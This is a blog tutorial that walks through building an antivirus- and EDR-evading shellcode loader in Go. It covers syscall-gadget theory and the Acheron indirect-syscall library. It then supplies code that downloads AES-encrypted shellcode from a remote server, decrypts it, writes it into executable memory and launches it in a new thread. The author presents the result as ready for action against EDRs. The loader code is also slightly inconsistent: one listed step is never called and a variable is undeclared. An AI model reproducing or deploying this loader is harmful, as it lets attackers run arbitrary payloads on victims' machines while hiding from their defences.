Golang in Disguise: Building Evasive Loader In Go
In the ever-evolving landscape of AV/EDR (Antivirus/Endpoint Detection and Response) defense mechanisms, traditional syscall execution has become increasingly vulnerable to detection. These tools utilize user-mode hooks and instrumentation callbacks to flag anomalous behavior, such as syscalls that don't return to ntdll.dll.
This blog delves into how to create evasive shellcode loader in GO, fetching and decrypting AES-encrypted shellcode from a server and executing it stealthily using indirect syscalls.
Instrumentation Callbacks
Instrumentation callbacks are another layer of monitoring, primarily implemented via kernel-mode features like ETW (Event Tracing for Windows).
-
How it works:
Callbacks allow the EDR to track system events, including syscalls, in real-time. By analyzing the flow of these events, the EDR can flag anomalies. -
Detection mechanism:
If a syscall appears to originate from a suspicious memory region (e.g., injected code or a custom memory page), or if the sequence of syscalls deviates from typical patterns, it may be flagged.
Behavioral Monitoring
-
How it works:
The EDR monitors the sequence and context of syscalls to detect deviations from normal application behavior. For example:- Does the application frequently access memory regions marked as executable but not backed by a legitimate module?
- Are there syscalls being made that bypass
ntdll.dll
?
-
Detection mechanism:
When syscalls don't follow the standard user-mode flow (from application ->ntdll.dll
-> kernel), this unusual behavior is flagged as suspicious.
Why Focus on ntdll.dll
?
ntdll.dll
acts as the bridge between user-mode applications and the kernel. By ensuring syscalls originate and return through ntdll.dll
, EDRs can maintain a "choke point" for monitoring:
-
Anomalous return addresses:
If a syscall's return address isn't within the expected range forntdll.dll
, it suggests tampering or evasion attempts. -
Bypassing user-mode hooks:
Some attackers try to bypassntdll.dll
entirely by using direct syscalls or inline assembly. EDRs counteract this by scrutinizing the execution flow at the kernel level.
Fix ?
1) Identifying Unhooked Syscall Gadgets
A syscall gadget is a small sequence of instructions in ntdll.dll
that includes the syscall
and ret
instructions. These gadgets are legitimate parts of ntdll.dll
and exist in unmodified (clean) memory regions. We can locate these gadgets by:
- Enumerating memory regions of
ntdll.dll
loaded into the process. - Searching for clean instructions matching the signature of a
syscall; ret
sequence. For example:syscall ret
- Using tools or custom code to parse
ntdll.dll
in memory to identify unhooked sections.
These gadgets remain unhooked because:
- Hooks target API entry points (e.g.,
NtAllocateVirtualMemory
), not every syscall instruction. - The EDRs (Except Sentinel) focuses on monitoring high-level APIs rather than raw instruction sequences.
Example
mov r10, rcx ; Syscall convention requires R10 for certain arguments
mov eax, 0x18 ; Syscall number for NtAllocateVirtualMemory
; Jump to clean syscall gadget
jmp [Address of syscall; ret in clean ntdll.dll]
The technique leverages legitimate code paths in ntdll.dll
without injecting new or suspicious instructions, reducing detection risk.
What is Acheron?
Acheron, inspired by tools like SysWhisper3, FreshyCalls, and RecycledGate, provides the following features:
-
PEB Traversal
The Process Environment Block (PEB) is traversed to locatentdll.dll
's in-memory base address. This bypasses reliance on API calls likeGetModuleHandle
, which are often hooked by EDRs. -
Export Directory Parsing
Oncentdll.dll
's base address is identified, Acheron parses its export directory to locate the addresses of exported functions likeZwAllocateVirtualMemory
orZwCreateThreadEx
. -
System Service Number Extraction
Acheron calculates the system service numbers (SSNs) required to execute syscalls, which are stored in thentdll.dll
export table. -
Clean Syscall Gadget Enumeration
To bypass hooked functions, Acheron searches for unhookedsyscall; ret
instructions inntdll.dll
. These gadgets serve as trampoline points for indirect syscalls. -
Proxy Creation
A proxy instance is created, allowing developers to make indirect or direct syscalls seamlessly in Go.
Below, you can see that we are simply calling NtAllocateVirtualMemory
. We haven't implemented proxy calls using Acheron yet.
status, _, _ := procNtAllocateVirtualMemory.Call(
uintptr(hProcess),
uintptr(unsafe.Pointer(&baseAddress)),
0,
uintptr(unsafe.Pointer(®ionSize)),
0x3000, // MEM_COMMIT | MEM_RESERVE
0x40, // PAGE_EXECUTE_READWRITE
)
To make a proxy call and use indirect syscalls with Acheron, we need to define a proxy instance of Acheron. Start by importing github.com/f1zm0/acheron
. Then, create Acheron's proxy instance as shown below.
// Create Acheron instance
ach, err := acheron.New()
if err != nil {
fmt.Printf("Error initializing Acheron: %v\n", err)
return
}
Now, to call the NtAPI indirectly via Acheron's proxy calls, you need to define them as shown below.
s1 := ach.HashString("NtAllocateVirtualMemory")
status, err := ach.Syscall(
s1,
hProcess,
uintptr(unsafe.Pointer(&baseAddress)),
0,
uintptr(unsafe.Pointer(®ionSize)),
0x3000, // MEM_COMMIT | MEM_RESERVE
0x40, // PAGE_EXECUTE_READWRITE (for writing and execution)
)
Using this, our API call will be redirected to Acheron, and Acheron will perform the actions as described earlier. Now, let's begin building a loader.
Building the Loader
1. Fetching the Encrypted Shellcode
Encrypted shellcode is downloaded from a remote server using the fetchShellcode
function. This avoids embedding the shellcode directly in the binary, reducing the high entropy.
func fetchShellcode(url string) ([]byte, error) {
resp, err := http.Get(url)
if err != nil {
return nil, fmt.Errorf("failed to fetch shellcode: %v", err)
}
defer resp.Body.Close()
buf := new(bytes.Buffer)
if _, err := io.Copy(buf, resp.Body); err != nil {
return nil, fmt.Errorf("failed to read shellcode: %v", err)
}
return buf.Bytes(), nil
}
2. Decrypting the Shellcode
We use AES-CBC encryption for securing shellcode. Decrypting it ensures the loader is dynamic and evades signature-based detections.
func decryptShellcode(encrypted []byte, key []byte, iv []byte) ([]byte, error) {
block, err := aes.NewCipher(key)
if err != nil {
return nil, fmt.Errorf("failed to create cipher: %v", err)
}
mode := cipher.NewCBCDecrypter(block, iv)
decrypted := make([]byte, len(encrypted))
mode.CryptBlocks(decrypted, encrypted)
padding := int(decrypted[len(decrypted)-1])
return decrypted[:len(decrypted)-padding], nil
}
3. Executing the Shellcode
Using Acheron, the shellcode is executed via indirect syscalls. Here's how the main functions are implemented:
- NtAllocateVirtualMemory: Allocates memory in the current process.
- NtWriteVirtualMemory: Writes decrypted shellcode to the allocated memory.
- NtProtectVirtualMemory: Sets the memory region as executable.
- NtCreateThreadEx: Creates a new thread to execute the shellcode.
func executeShellcode(ach *acheron.Acheron, shellcode []byte) error {
hProcess := uintptr(0xffffffffffffffff) // Current process handle
var baseAddress uintptr
regionSize := uintptr(len(shellcode))
status, err := ach.Syscall(
ach.HashString("NtAllocateVirtualMemory"),
hProcess,
uintptr(unsafe.Pointer(&baseAddress)),
0,
uintptr(unsafe.Pointer(®ionSize)),
0x3000,
0x40,
)
if status != 0 || err != nil {
return fmt.Errorf("NtAllocateVirtualMemory failed: 0x%x", status)
}
status, err = ach.Syscall(
ach.HashString("NtWriteVirtualMemory"),
hProcess,
baseAddress,
uintptr(unsafe.Pointer(&shellcode[0])),
uintptr(len(shellcode)),
0,
)
if status != 0 || err != nil {
return fmt.Errorf("NtWriteVirtualMemory failed: 0x%x", status)
}
status, err = ach.Syscall(
ach.HashString("NtCreateThreadEx"),
uintptr(unsafe.Pointer(&hThread)),
0x1FFFFF,
0,
hProcess,
baseAddress,
0,
0,
0,
0,
0,
)
return err
}
Now your evasive loader in Go is ready for action. Let's test it against some EDRs. You'll find a link to the loader at the end of the blog. Please check it out and consider improving it further.
Full Code Link:
Credits & Refs: